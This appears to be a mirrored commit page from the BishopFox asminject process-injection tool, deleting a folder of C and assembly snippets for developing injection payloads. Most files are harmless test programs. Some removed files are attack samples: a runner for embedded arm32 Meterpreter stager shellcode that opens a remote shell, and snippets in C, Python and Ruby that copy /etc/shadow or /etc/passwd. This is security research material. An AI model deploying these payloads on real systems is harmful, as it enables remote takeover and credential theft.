mirror of
https://github.com/BishopFox/asminject.git
synced 2026-11-07 09:35:57 -10:00
temporarily removing asm_development
This commit is contained in:
Ben Lincoln committed
1 parent
04002136f6
commit
a750b09344
22 files changed
-647
No files matched your search
@@ -1,3 +0,0 @@
|
||||
# asm_development
|
||||
|
||||
These files are snippets of C code that can be useful to experiment with when developing new injection code. Compiling them for the target architecture will let you see the machine code generated for legit C code that does what you want your exploit code to accomplish.
|
||||
@@ -1,95 +0,0 @@
|
||||
// test payload to try out relative jumping
|
||||
// gcc -x assembler -o relative_jump -nostdlib -fPIC -Wl,--build-id=none -s relative_jump.s
|
||||
|
||||
.globl _start
|
||||
_start:
|
||||
|
||||
b printf_main
|
||||
|
||||
// BEGIN: asminject_libc_printf
|
||||
// simple wrapper for the libc printf function
|
||||
// tested with libc 2.2.5 and 2.4
|
||||
// Assumes the signature for printf is int printf([const] char * format, ... );
|
||||
// if your libc has a different signature for printf, this code will probably fail
|
||||
// r0 = format string
|
||||
// r1 = first argument to include in the formatted string
|
||||
|
||||
asminject_libc_printf:
|
||||
stmdb sp!, {r11,lr}
|
||||
add r11, sp, #0x04
|
||||
sub sp, sp, #0x20
|
||||
push {r10}
|
||||
push {r9}
|
||||
|
||||
// store the base address of libc in r10
|
||||
asminject_libc_printf_load_base_address:
|
||||
ldr r10, [pc]
|
||||
b asminject_libc_printf_load_printf_offset
|
||||
|
||||
asminject_libc_printf_base_address:
|
||||
.word 0xb6cd6000
|
||||
.balign 4
|
||||
|
||||
// Store the relative offset of printf in r9
|
||||
asminject_libc_printf_load_printf_offset:
|
||||
ldr r9, [pc]
|
||||
b asminject_libc_printf_call_printf
|
||||
|
||||
asminject_libc_printf_printf_offset:
|
||||
.word 0x00048430
|
||||
.balign 4
|
||||
|
||||
asminject_libc_printf_call_printf:
|
||||
// r9 = relative offset + base address
|
||||
add r9, r9, r10
|
||||
// r0, r1, and so on will already be set by the caller
|
||||
blx r9
|
||||
|
||||
pop {r9}
|
||||
pop {r10}
|
||||
|
||||
sub sp, r11, #0x04
|
||||
ldmia sp!, {r11,pc}
|
||||
// END: asminject_libc_printf
|
||||
|
||||
printf_main:
|
||||
mov r0, pc
|
||||
b load_debug_message
|
||||
|
||||
format_string:
|
||||
.ascii "DEBUG: '%s'\n\0"
|
||||
.balign 4
|
||||
|
||||
load_debug_message:
|
||||
mov r1, pc
|
||||
b call_printf
|
||||
|
||||
debug_message:
|
||||
.ascii "test123\0"
|
||||
.balign 4
|
||||
|
||||
call_printf:
|
||||
push {r0}
|
||||
push {r1}
|
||||
bl asminject_libc_printf
|
||||
pop {r1}
|
||||
pop {r0}
|
||||
// if the relative jump succeeds, the message will only be printed one more time
|
||||
// if it fails, the message will be printed multiple times, not at all, or the program will crash/hang
|
||||
// relative jump ahead 0x18
|
||||
add pc, pc, #0xFC
|
||||
// 0x0 offset
|
||||
push {r0}
|
||||
push {r1}
|
||||
bl asminject_libc_printf
|
||||
pop {r1}
|
||||
pop {r0}
|
||||
// 0x14 offset - dummy operation for padding
|
||||
add r2, r2, #0x0
|
||||
// 0x18 offset
|
||||
push {r0}
|
||||
push {r1}
|
||||
bl asminject_libc_printf
|
||||
pop {r1}
|
||||
pop {r0}
|
||||
|
||||
@@ -1,61 +0,0 @@
|
||||
/*
|
||||
============================================================================
|
||||
Name : sp_linux_copy.c
|
||||
Author : Marko Martinovic
|
||||
Description : Copy input file into output file
|
||||
============================================================================
|
||||
|
||||
gcc -o copy_between_files-arm32-eabi -O0 -fPIC -pie copy_between_files.c
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define BUF_SIZE 8192
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
|
||||
int input_fd, output_fd; /* Input and output file descriptors */
|
||||
ssize_t ret_in, ret_out; /* Number of bytes returned by read() and write() */
|
||||
char buffer[BUF_SIZE]; /* Character buffer */
|
||||
|
||||
/* Are src and dest file name arguments missing */
|
||||
if(argc != 3){
|
||||
printf ("Usage: cp file1 file2");
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Create input file descriptor */
|
||||
input_fd = open (argv [1], O_RDONLY);
|
||||
if (input_fd == -1) {
|
||||
perror ("open");
|
||||
return 2;
|
||||
}
|
||||
|
||||
/* Create output file descriptor */
|
||||
output_fd = open(argv[2], O_WRONLY | O_CREAT, 0644);
|
||||
if(output_fd == -1){
|
||||
perror("open");
|
||||
return 3;
|
||||
}
|
||||
|
||||
/* Copy process */
|
||||
while((ret_in = read (input_fd, &buffer, BUF_SIZE)) > 0){
|
||||
ret_out = write (output_fd, &buffer, (ssize_t) ret_in);
|
||||
if(ret_out != ret_in){
|
||||
/* Write error */
|
||||
perror("write");
|
||||
return 4;
|
||||
}
|
||||
}
|
||||
|
||||
/* Close file descriptors */
|
||||
close (input_fd);
|
||||
close (output_fd);
|
||||
|
||||
return (EXIT_SUCCESS);
|
||||
}
|
||||
@@ -1,67 +0,0 @@
|
||||
/*
|
||||
============================================================================
|
||||
Name : sp_linux_copy.c
|
||||
Author : Marko Martinovic
|
||||
Description : Copy input file into output file
|
||||
============================================================================
|
||||
|
||||
gcc -o copy_between_files2-arm32-eabi -O0 -fPIC -pie copy_between_files2.c
|
||||
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define BUF_SIZE 1
|
||||
|
||||
int main() {
|
||||
|
||||
FILE *input_fd;
|
||||
FILE *output_fd;
|
||||
ssize_t ret_in, ret_out; /* Number of bytes returned by read() and write() */
|
||||
const char *infile="/etc/shadow";
|
||||
const char *outfile="/tmp/bishopfox.dat";
|
||||
char buffer[BUF_SIZE]; /* Character buffer */
|
||||
|
||||
/* Create input file descriptor */
|
||||
input_fd = fopen(infile, "r");
|
||||
if (input_fd == NULL)
|
||||
{
|
||||
printf("open (input)\n");
|
||||
return 2;
|
||||
}
|
||||
|
||||
/* Create output file descriptor */
|
||||
output_fd = fopen(outfile, "w");
|
||||
if(output_fd == NULL)
|
||||
{
|
||||
printf("open (output)\n");;
|
||||
return 3;
|
||||
}
|
||||
|
||||
/* Copy process */
|
||||
ret_in = 1;
|
||||
while(ret_in > 0)
|
||||
{
|
||||
ret_in = fread(buffer, BUF_SIZE, 1, input_fd);
|
||||
if (ret_in > 0)
|
||||
{
|
||||
ret_out = fwrite(&buffer, BUF_SIZE, 1, output_fd);
|
||||
if(ret_out != ret_in){
|
||||
/* Write error */
|
||||
printf("write\n");
|
||||
return 4;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Close file descriptors */
|
||||
fclose(input_fd);
|
||||
fclose(output_fd);
|
||||
|
||||
return (EXIT_SUCCESS);
|
||||
}
|
||||
@@ -1,45 +0,0 @@
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/* https://docs.oracle.com/cd/E19683-01/806-6867/sync-12/index.html */
|
||||
|
||||
/*
|
||||
|
||||
gcc -o critical_section-x32 -O0 -m32 -fPIC critical_section.c -m32 -lpthread
|
||||
gcc -o critical_section-x64 -O0 -m64 -fPIC critical_section.c -m64 -lpthread
|
||||
*/
|
||||
|
||||
pthread_mutex_t count_mutex;
|
||||
long long count;
|
||||
|
||||
void
|
||||
increment_count()
|
||||
{
|
||||
pthread_mutex_lock(&count_mutex);
|
||||
count = count + 1;
|
||||
pthread_mutex_unlock(&count_mutex);
|
||||
}
|
||||
|
||||
long long get_count()
|
||||
{
|
||||
long long c;
|
||||
|
||||
pthread_mutex_lock(&count_mutex);
|
||||
c = count;
|
||||
pthread_mutex_unlock(&count_mutex);
|
||||
return (c);
|
||||
}
|
||||
|
||||
int main() {
|
||||
long long x;
|
||||
count = 0;
|
||||
char *llString = "Output: %llx\n";
|
||||
|
||||
|
||||
|
||||
x = get_count();
|
||||
printf(llString, x);
|
||||
count++;
|
||||
x = get_count();
|
||||
printf(llString, x);
|
||||
}
|
||||
@@ -1,49 +0,0 @@
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/* https://stackoverflow.com/questions/3508507/what-are-gcc-on-linuxs-equivalent-to-microsofts-critical-sections/19374236
|
||||
and https://stackoverflow.com/questions/53430194/pthread-recursive-mutex-initializer-np-error-in-qnx-7
|
||||
*/
|
||||
|
||||
/*
|
||||
|
||||
gcc -o critical_section-x32 -O0 -m32 -fPIC critical_section.c -m32 -lpthread
|
||||
gcc -o critical_section-x64 -O0 -m64 -fPIC critical_section.c -m64 -lpthread
|
||||
*/
|
||||
|
||||
# define PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP { { 0, 0, 0, 0, PTHREAD_MUTEX_RECURSIVE_NP, __PTHREAD_SPINS, { 0, 0 } } }
|
||||
|
||||
/* This is the critical section object (statically allocated). */
|
||||
static pthread_mutex_t cs_mutex = PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP;
|
||||
|
||||
void f()
|
||||
{
|
||||
/* Enter the critical section -- other threads are locked out */
|
||||
pthread_mutex_lock( &cs_mutex );
|
||||
|
||||
/* Do some thread-safe processing! */
|
||||
|
||||
/*Leave the critical section -- other threads can now pthread_mutex_lock() */
|
||||
pthread_mutex_unlock( &cs_mutex );
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
f();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main() {
|
||||
long long x;
|
||||
count = 0;
|
||||
char *llString = "Output: %llx\n";
|
||||
|
||||
|
||||
|
||||
x = get_count();
|
||||
printf(llString, x);
|
||||
count++;
|
||||
x = get_count();
|
||||
printf(llString, x);
|
||||
}
|
||||
@@ -1,30 +0,0 @@
|
||||
/* based on x86_shellcode_tester.c by Travis Phillips */
|
||||
/* https://www.secureideas.com/blog/2021/09/linux-x86-assembly-how-to-test-custom-shellcode-using-a-c-payload-tester.html */
|
||||
|
||||
/* gcc -c -Wall -Werror -fpic execute_inline_shellcode.c
|
||||
gcc -shared -Wl,-init,main -o execute_inline_shellcode.so execute_inline_shellcode.o
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
/* arm32 meterpreter stager */
|
||||
char payload[] = "\xf0\x70\x9f\xe5\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x06\x20\xa0\xe3\x00\x00\x00\xef\x00\x00\x50\xe3\x31\x00\x00\xba\x00\xc0\xa0\xe1\x02\x70\x87\xe2\xc4\x10\x8f\xe2\x10\x20\xa0\xe3\x00\x00\x00\xef\x00\x00\x50\xe3\x2a\x00\x00\xba\x0c\x00\xa0\xe1\x04\xd0\x4d\xe2\x08\x70\x87\xe2\x0d\x10\xa0\xe1\x04\x20\xa0\xe3\x00\x30\xa0\xe3\x00\x00\x00\xef\x00\x00\x50\xe3\x21\x00\x00\xba\x00\x10\x9d\xe5\x94\x30\x9f\xe5\x03\x10\x01\xe0\x01\x20\xa0\xe3\x02\x26\xa0\xe1\x02\x10\x81\xe0\xc0\x70\xa0\xe3\x00\x00\xe0\xe3\x07\x20\xa0\xe3\x78\x30\x9f\xe5\x00\x40\xa0\xe1\x00\x50\xa0\xe3\x00\x00\x00\xef\x01\x00\x70\xe3\x12\x00\x00\x0a\x63\x70\x87\xe2\x00\x10\xa0\xe1\x0c\x00\xa0\xe1\x00\x30\xa0\xe3\x00\x20\x9d\xe5\xfa\x2f\x42\xe2\x00\x20\x8d\xe5\x00\x00\x52\xe3\x04\x00\x00\xda\xfa\x2f\xa0\xe3\x00\x00\x00\xef\x00\x00\x50\xe3\x05\x00\x00\xba\xf5\xff\xff\xea\xfa\x2f\x82\xe2\x00\x00\x00\xef\x00\x00\x50\xe3\x00\x00\x00\xba\x01\xf0\xa0\xe1\x01\x70\xa0\xe3\x01\x00\xa0\xe3\x00\x00\x00\xef\x02\x00\x2c\xb3\xc0\xa8\x00\x2d\x19\x01\x00\x00\x00\xf0\xff\xff\x22\x10\x00\x0";
|
||||
|
||||
int main()
|
||||
{
|
||||
// Create a function pointer to the shellcode
|
||||
void (*payload_ptr)() = (void(*)())&payload;
|
||||
|
||||
// Calculate the address to the start of the page for the shellcode.
|
||||
void *page_offset = (void *)((int)payload_ptr & ~(getpagesize()-1));
|
||||
|
||||
// Use mprotect to mark that page as RX.
|
||||
mprotect(page_offset, 4096, PROT_READ|PROT_EXEC);
|
||||
|
||||
// Finally, use our function pointer to jump into our payload.
|
||||
payload_ptr();
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,29 +0,0 @@
|
||||
#include <stdio.h>
|
||||
|
||||
/*
|
||||
|
||||
gcc -o copy_64_bit_values-x32 -O0 -m32 -fPIC copy_64_bit_values.c -m32
|
||||
gcc -o copy_64_bit_values-x64 -O0 -m64 -fPIC copy_64_bit_values.c -m64
|
||||
*/
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
char *testString1 = "Test message";
|
||||
char *formatString = "Output: %s\n";
|
||||
long int bignum = 0x00007ffed5d20000;
|
||||
long int bignum2 = &argv[0];
|
||||
char *hexString = "Output: %llx\n";
|
||||
int i;
|
||||
|
||||
printf(formatString, testString1);
|
||||
printf(hexString, bignum);
|
||||
|
||||
for (i = 0; i < 10; i++)
|
||||
{
|
||||
bignum2 = bignum2 + (i * bignum2);
|
||||
printf(hexString, bignum2);
|
||||
bignum = bignum + (i * bignum);
|
||||
printf(hexString, bignum);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,37 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <dlfcn.h>
|
||||
|
||||
/*
|
||||
Based partly on https://gist.github.com/tailriver/30bf0c943325330b7b6a
|
||||
gcc -o dlopen-x32 -O0 -m32 -fPIC dlopen.c -m32 -ldl
|
||||
gcc -o dlopen-x64 -O0 -m64 -fPIC dlopen.c -m64 -ldl
|
||||
*/
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
void *handle;
|
||||
void (*target_function)();
|
||||
const char *target_function_name = "__DT_INIT";
|
||||
|
||||
handle = dlopen(argv[1], RTLD_NOW);
|
||||
|
||||
if (!handle) {
|
||||
fprintf(stderr, "Error: %s\n", dlerror());
|
||||
return 1;
|
||||
}
|
||||
|
||||
*(void**)(&target_function) = dlsym(handle, target_function_name);
|
||||
if (!target_function) {
|
||||
/* no such symbol */
|
||||
fprintf(stderr, "Error: %s\n", dlerror());
|
||||
dlclose(handle);
|
||||
return 1;
|
||||
}
|
||||
|
||||
//target_function();
|
||||
dlclose(handle);
|
||||
|
||||
return 0;
|
||||
}
|
||||
Whitespace-only changes.
@@ -1,31 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
|
||||
gcc -o mmap-x32 -O0 -m32 -fPIC mmap.c -m32
|
||||
gcc -o mmap-x64 -O0 -m64 -fPIC mmap.c -m64
|
||||
*/
|
||||
|
||||
int main(void) {
|
||||
char * mapped = mmap(
|
||||
0, // start wherever, I guess?
|
||||
0x8000, // size to mapp
|
||||
PROT_READ|PROT_WRITE|PROT_EXEC, //rwx
|
||||
MAP_PRIVATE|MAP_ANONYMOUS, // allocate new
|
||||
-1, // file descriptor -1 = new
|
||||
0 // offset of 0
|
||||
);
|
||||
if (mapped == MAP_FAILED) {
|
||||
perror("mmap failed");
|
||||
return 1;
|
||||
}
|
||||
|
||||
strcpy(mapped, "BishopFox.com");
|
||||
|
||||
printf("Verify data: %s\n", mapped);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,19 +0,0 @@
|
||||
#include <stdio.h>
|
||||
|
||||
/*
|
||||
|
||||
gcc -o printf-x32 -O0 -m32 -fPIC printf.c -m32
|
||||
gcc -o printf-x64 -O0 -m64 -fPIC printf.c -m64
|
||||
*/
|
||||
|
||||
int main() {
|
||||
char *testString1 = "Test message";
|
||||
char *formatString = "Output: %s\n";
|
||||
long int bignum = 0x00007ffed5d20000;
|
||||
char *hexString = "Output: %llx\n";
|
||||
|
||||
printf(formatString, testString1);
|
||||
printf(hexString, bignum);
|
||||
|
||||
return (0);
|
||||
}
|
||||
Binary file not shown.
@@ -1,40 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <pthread.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
/*
|
||||
|
||||
gcc -o launch_thread-x32 -O0 -m32 -fPIC launch_thread.c -m32 -lpthread
|
||||
gcc -o launch_thread-x64 -O0 -m64 -fPIC launch_thread.c -m64 -lpthread
|
||||
gcc -o launch_thread-arm32 -O0 -fPIC launch_thread.c -lpthread
|
||||
*/
|
||||
|
||||
pthread_t thread_id;
|
||||
|
||||
void * f(void *args)
|
||||
{
|
||||
printf("This statement executed in a new thread\n");
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int returncode;
|
||||
printf("This statement executed in the main thread before launching a new thread\n");
|
||||
returncode = pthread_create(&(thread_id), NULL, &f, NULL);
|
||||
if (returncode != 0)
|
||||
{
|
||||
printf("Return code from pthread_create: [%i], %s\n", returncode, strerror(returncode));
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("Return code from pthread_create: 0\n");
|
||||
}
|
||||
printf("This statement executed in the main thread after launching a new thread\n");
|
||||
|
||||
sleep(10);
|
||||
return 0;
|
||||
}
|
||||
@@ -1,30 +0,0 @@
|
||||
#include <stdio.h>
|
||||
|
||||
/*
|
||||
|
||||
|
||||
gcc -o parameter_passing-x64 -O0 -m64 -fPIC parameter_passing.c -m64 -pie
|
||||
gcc -o parameter_passing-arm32-eabi -O0 -fPIC -pie parameter_passing.c
|
||||
*/
|
||||
|
||||
int func1(char *arg1, char *arg2, char *arg3, char *arg4, char *arg5, char *arg6, char *arg7, char *arg8)
|
||||
{
|
||||
char *formatString = "Argument %i: %s\n";
|
||||
|
||||
printf(formatString, 1, arg1);
|
||||
printf(formatString, 2, arg2);
|
||||
printf(formatString, 3, arg3);
|
||||
printf(formatString, 4, arg4);
|
||||
printf(formatString, 5, arg5);
|
||||
printf(formatString, 6, arg6);
|
||||
printf(formatString, 7, arg7);
|
||||
printf(formatString, 8, arg8);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int main() {
|
||||
func1("arg1", "arg2", "arg3", "arg4", "arg5", "arg6", "arg7", "arg8");
|
||||
|
||||
return (0);
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
#include "php.h"
|
||||
#include "php_ini.h"
|
||||
#include "sapi/embed/php_embed.h"
|
||||
|
||||
// https://flylib.com/books/en/2.565.1/calling_back_into_php.html
|
||||
/*
|
||||
|
||||
gcc -o execute_php_code-x64 -I/usr/include/php/20190902 -I/usr/include/php/20190902/main -I/usr/include/php/20190902/Zend -I/usr/include/php/20190902/TSRM -I/usr/include/php/20190902/sapi -O0 -m64 execute_php_code.c -lphp7.4 -m64 -no-pie
|
||||
|
||||
gcc -o execute_php_code-arm32-eabi -I/usr/include/php/20180731 -I/usr/include/php/20180731/main -I/usr/include/php/20180731/Zend -I/usr/include/php/20180731/TSRM -I/usr/include/php/20180731/sapi -O0 -fPIC execute_php_code.c -lphp7.3
|
||||
*/
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
char str[50];
|
||||
printf("Press enter to continue");
|
||||
gets(str);
|
||||
|
||||
php_print_info(1);
|
||||
|
||||
/* PHP_EMBED_START_BLOCK(argc, argv);
|
||||
zend_eval_string("echo 'Hello World!';", NULL, "Simple Hello World App" TSRMLS_CC);
|
||||
PHP_EMBED_END_BLOCK(); */
|
||||
return 0;
|
||||
}
|
||||
@@ -1,29 +0,0 @@
|
||||
#include "Python.h"
|
||||
#include <stdio.h>
|
||||
|
||||
/*
|
||||
|
||||
gcc -o python2.7_code_inject-x32 -I/usr/include/python2.7 -O0 -m32 -fPIC python_code_inject.c -lpython2.7 -m32
|
||||
gcc -o python3.9_code_inject-x32 -I/usr/include/python3.9 -O0 -m32 -fPIC python_code_inject.c -lpython3.9 -m32
|
||||
gcc -o python2.7_code_inject-x64_ -I/usr/include/python2.7 -O0 -m64 -fPIC python_code_inject.c -lpython2.7 -m64
|
||||
gcc -o python3.9_code_inject-x64 -I/usr/include/python3.9 -O0 -m64 -fPIC python_code_inject.c -lpython3.9 -m64
|
||||
gcc -o python2.7_code_inject-arm32-eabi -I/usr/include/python2.7 -O0 -fPIC -pie python_code_inject.c -lpython2.7
|
||||
gcc -o python3.7_code_inject-arm32-eabi -I/usr/include/python3.7 -O0 -fPIC python_code_inject.c -lpython3.7m
|
||||
*/
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
PyGILState_STATE python_handle1;
|
||||
PyGILState_STATE python_handle2;
|
||||
|
||||
Py_Initialize();
|
||||
python_handle1 = PyGILState_Ensure();
|
||||
PyRun_SimpleString("print('OK 1');");
|
||||
python_handle2 = PyGILState_Ensure();
|
||||
PyRun_SimpleString("print('OK 2');");
|
||||
PyGILState_Release(python_handle2);
|
||||
PyGILState_Release(python_handle1);
|
||||
Py_Finalize();
|
||||
|
||||
return (0);
|
||||
}
|
||||
@@ -1,30 +0,0 @@
|
||||
#include "Python.h"
|
||||
#include <stdio.h>
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
PyGILState_STATE python_handle;
|
||||
PyCodeObject* code;
|
||||
FILE *output_fd;
|
||||
|
||||
Py_Initialize();
|
||||
python_handle = PyGILState_Ensure();
|
||||
code = (PyCodeObject*) Py_CompileString("import os; import sys; finput = open('/etc/shadow', 'rb'); foutput = open('/tmp/bishopfox.dat', 'wb'); foutput.write(finput.read()); foutput.close(); finput.close();", "precompiled_code", Py_file_input);
|
||||
output_fd = fopen("marshalled_code.bin", "w");
|
||||
if(output_fd == NULL)
|
||||
{
|
||||
printf("open (output)\n");
|
||||
return 3;
|
||||
}
|
||||
PyMarshal_WriteObjectToFile(code, output_fd, 4);
|
||||
fclose(output_fd);
|
||||
|
||||
PyObject* main_module = PyImport_AddModule("__main__");
|
||||
PyObject* global_dict = PyModule_GetDict(main_module);
|
||||
PyObject* local_dict = PyDict_New();
|
||||
PyObject* obj = PyEval_EvalCode(code, global_dict, local_dict);
|
||||
PyGILState_Release(python_handle);
|
||||
Py_Finalize();
|
||||
|
||||
return (0);
|
||||
}
|
||||
@@ -1,19 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <ruby/ruby.h>
|
||||
|
||||
/*
|
||||
|
||||
gcc -o execute_ruby_code-x64 -I/usr/include/ruby-2.7.0 -I/usr/include/x86_64-linux-gnu/ruby-2.7.0 -O0 -m64 execute_ruby_code.c -L/usr/lib/x86_64-linux-gnu -lruby-2.7 -m64 -no-pie
|
||||
gcc -o execute_ruby_code-arm32-eabi -I/usr/include/ruby-2.5.0 -I/usr/include/arm-linux-gnueabihf/ruby-2.5.0 -O0 -fPIC -pie execute_ruby_code.c -L/usr/lib/arm-linux-gnueabihf -lruby-2.5
|
||||
*/
|
||||
|
||||
int main ( int argc, char ** argv)
|
||||
{
|
||||
ruby_sysinit(&argc, &argv);
|
||||
RUBY_INIT_STACK;
|
||||
ruby_init();
|
||||
ruby_init_loadpath();
|
||||
rb_require("fileutils");
|
||||
rb_eval_string("FileUtils.cp('/etc/passwd', '/home/user');");
|
||||
return ruby_cleanup(0);
|
||||
}
|
||||
@@ -1,8 +0,0 @@
|
||||
#include <unistd.h>
|
||||
|
||||
int main() {
|
||||
|
||||
sleep(1);
|
||||
|
||||
return (0);
|
||||
}
|
||||
Reference in new issue
Block a user